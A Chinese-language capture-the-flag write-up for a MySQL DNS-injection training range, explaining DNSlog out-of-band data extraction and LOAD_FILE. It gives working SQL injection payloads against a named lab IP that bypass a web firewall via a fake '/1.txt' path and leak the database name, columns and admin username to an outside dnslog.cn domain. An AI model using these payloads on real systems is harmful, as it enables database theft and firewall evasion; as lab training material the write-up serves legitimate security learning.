封神臺MYSQL 注入 - Dns注入
一、原理
DNSLOG的使用場景:
在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起請求,這個時候就可以通過DNS請求把想獲得的資料外帶出來。
對於sql盲注,常見的方法就是二分法去一個個猜,但是這樣的方法麻煩不說,還很容易因為資料請求頻繁導致被ban。
所以可以將select到的資料傳送給一個url,利用dns解析產生的記錄日誌來檢視資料。
LOAD_FILE()讀取檔案的函式
讀取檔案並返回檔案內容為字串。要使用此函式,檔案必須位於伺服器主機上,必須指定完整路徑的檔案,而且必須有FILE許可權。 該檔案所有位元組可讀,但檔案內容必須小於max_allowed_packet(限制server接受的資料包大小函式,預設1MB)。 如果該檔案不存在或無法讀取,因為前面的條件之一不滿足,函式返回 NULL。
二、作業
MYSQL 注入 - Dns注入 (Rank: 20)
-
首先我們可以隨便嘗試下是否存在注入:?id=1 and 1=1
發現被攔截
-
要想辦法繞過防火牆,試下輸入:http://59.63.200.79:8014/index3.php/1.txt?id=1 and 1=2
如下圖:發現能正常顯示頁面
apache遇到不存在的看不懂的東西會往前去讀取,而安全狗認為1.txt對他沒有威脅那我們利用這點進行注入;
-
第一步在dnslog平臺上獲取一個域名;
-
利用 load_file函式讀取檔案內容
試下獲取庫名:59.63.200.79:8014/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,(select database()),’.805pij.dnslog.cn/abc’)));
如下圖:庫名為:mangzhu
-
欄位名:59.63.200.79:8014/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,(select column_name from information_schema.columns where table_schema=database() limit 0,1),’.805pij.dnslog.cn/abc’)));
如下圖:經過多次測試獲取了id,username,password
-
flag:59.63.200.79:8014/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,(select username from admin limit 0,1),’.805pij.dnslog.cn/abc’)));
如下圖:獲取了1flag1good1
-
提交1flag1good1,完成。
相關文章
- 封神臺Oracle注入- 報錯注入Oracle
- 【封神臺】資料庫注入 wp資料庫
- dns注入DNS
- 封神臺 SQL隱碼攻擊 靶場 (貓舍)手動注入SQL
- MySql注入科普MySql
- mysql防注入MySql
- 2、Mysql注入科普MySql
- Spring注入:配置注入(set注入和構造器注入)與註解注入Spring
- C10-08-寬位元組注入-mysql注入之getshell-sqlmapMySql
- SQL 注入:聯合注入SQL
- 程式注入之DLL注入
- sql注入之union注入SQL
- php操作mysql防止sql注入(合集)PHPMySql
- MySQL資料庫注入基礎MySql資料庫
- MYSQL8.0特性—無select注入MySql
- sql注入之堆疊注入及waf繞過注入SQL
- JNDI注入和JNDI注入Bypass
- win10最強注入工具,遠端執行緒注入、訊息鉤子注入、輸入法注入、EIP注入、登錄檔注入、APC注入(APC好像不能用)Win10執行緒
- PHP+MySQL 手工注入語句大全PHPMySql
- sql注入之型別及提交注入SQL型別
- sql注入SQL
- SQL 注入SQL
- union注入
- quine注入UI
- XSS注入
- Mysql報錯注入原理分析(count()、rand()、group by)MySql
- IOC注入技術之編譯時注入編譯
- SQL隱碼攻擊之二次,加解密,DNS等注入SQL解密DNS
- Spring set注入和構造注入的區別Spring
- Spring配置注入Spring
- sql注入1SQL
- sql注入2SQL
- 自動注入
- sql注入修改SQL
- 防止sql注入SQL
- 程式碼注入
- SQLServer注入技巧SQLServer
- Spring系列第八講 依賴注入之手動注入Spring依賴注入